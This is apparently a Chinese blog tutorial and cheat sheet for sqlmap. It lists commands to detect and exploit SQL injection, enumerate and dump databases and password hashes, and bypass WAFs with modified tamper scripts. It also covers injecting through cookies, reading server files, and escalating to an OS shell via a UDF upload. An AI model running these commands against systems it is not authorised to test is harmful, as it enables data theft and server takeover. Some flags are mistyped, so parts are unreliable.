• sqlmap实战-1


    sqlmap实战-1

    检测和利用sql注入

    python2 sqlmap.py -u "[URL_SQL注入点]" [--batch]
    

    --batch:自动选择sqlmap默认的选择

    寻找目标

    直接连接数据库

    python2 sqlmap.py -d "mysql://[user]:[password]@[ip]:[port]/[dbs]" --banner --dbs --users
    

    数据库操作参数:

    --dbs:列举数据库信息

    --current-db:当前数据库名

    --current-user:当前数据库用户

    --users:列举DBMS中所有用户

    --passwords:列举DBMA中所有账户和密码

    -D [databases] …:指定数据库名,对库进行操作

    -T [tables]:指定数据表,对表进行操作

    -C [columns]:指定列名,对列进行操作

    --tables:列举数据库表的信息

    --columns:列举数据表的列名信息

    --schema:枚举数据库结构

    --count:枚举数据包的项目数

    -D/-T/-C/--dbs/--tables/--columns/--schema/--count

    联合操作就可以实现对数据库的具体操作

    #列举库中的所有表:
    -D [库名] --tables
    #列举表中的字段名:
    -D [库名] -T [表名] --columns
    

    --dump:导出数据

    --start:指定开始的行

    --stop:指定结束的行

    # 导出当前全部的数据表数据
    -D [库名] -T [表名] -C [字段名] --count --dump
    # 导出部分(范围)数据表数据
    -D [库名] -T [表名] -C [字段名] --start {*} --stop {*} --dump
    

    sqlmap技巧

    利用注释的方法绕过waf注入

    /tamper/halfversionecdmoreckeywords.py:

    return match.group().replace(word, "/*!0%s" % word)
    # 修改
    return match.group().replace(word,"/*!50000%s*/" % word)
    

    /xml/queries.xml:

    <cast query="CAST(%s AS CHAR)"/>
    <!--修改-->
    <cast query="CAST(%s, CHAR)"/>
    

    sqlmap实施注入:

    sqlmap.py -u [url] --tamper ./tamper/halfversionecdmoreckeywords.py
    
    sqlmap.py -u [url] --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py
    

    URL重写SQL注入测试

    value1为测试参数,加*符号即可,sqlmap将会测试value1位置是否可以注入

    列举并破解密码hash

    当用户可以有权限查看用户密码的时候,--password会自动连接并破解hash返回结果

    对目标进行爬取

    --batch --crawl=3 从目标URL爬取网站

    使用hex规避编码导致丢失

    sqlmap.py -u [url] --banner --hex -v 3 --parse-errors
    

    --parse-errors:解析和显示响应数据库错误信息

    模仿移动端访问目标

    sqlmap.py -u [url] --banner --mobile
    
    

    --mobile:设定一个移动端的“User-Agent”模仿手机访问URL

    智能判断测试

    sqlmap.py -u [url] --bath --smart
    
    

    --smart:快速判断 为报错注入点进行注入

    结合Burp进行注入测试

    在Burp——Options——"proxy.Requests"中保存Burp的抓包记录

    sqlmap.py -r burp***.txt
    
    

    从抓包记录中加载HTTP请求

    sqlmap.py -u [url] --data "[*……*]"
    
    

    自动填写表单

    sqlmap.py -u [url] --forms [……]
    
    

    --forms:解析和测试目标URL表单

    读取Linux的文件

    sqlmap.py -u [url] --file [url]
    
    

    延时注入

    sqlmap.py -u [url] --technique -T --current-user
    sqlmap.py -u [url] --delay 0.5
    sqlmap.py -u [url] --safe-freq # 请求两次
    
    

    Burp抓包利用sqlmap注入

    sqlmap.py -r ***.txt -p [需要注入的参数]
    
    

    -p:指定注入参数

    sqlmap Cookies注入

    默认情况下,sqlmap只支持get/post参数的注入,使用-level参数且数值大于等于2就会检测cookie参数,大概大于3时检查User-Agent和Referer

    sqlmap.py -u [url] --cookie [value] --level 3
    sqlmap.py -u [url] --cookie [value] --level 3 --tables
    sqlmap.py -u [url] --cookie [value] --level 3 -T [表名] --coiumns
    ……
    
    

    MySQL提权

    连接并打开一个交互shell

    sqlmap.py -d "mysql://[user]:[password]@[ip]:[port]/[dbs]" --sql-shell
    
    

    上传lib_mysqludf_sys到plugin目录

    sqlmap.py -d "mysql://[user]:[password]@[ip]:[port]/[dbs]"
    --file-write=
    
    

    执行shell命令

    sqlmap.py -u [url] --os-cmd=[^] #执行cmd命令(Win环境)
    sqlmap.py -u [url] --os-shell=[^] #建立交互式的shell
    
    
  • 相关阅读:
    机器学习之--画图补充
    机器学习之--KNN算法简单实现
    redhat centos yum源的安装
    redhat6.5 linux 安装mysql5.6.27
    bash 截取字符串
    redhat vim编辑器永久添加行号及搜索
    Orthomcl的详细使用
    InterProScan 5.25-64.0 安装和使用
    paml正选择处理时序列里有终止密码子怎么处理掉
    R语言putty中直接使用X11(Xming)绘图
  • 原文地址:https://www.cnblogs.com/wangyuyang1016/p/11701609.html
Copyright © 2020-2023  润新知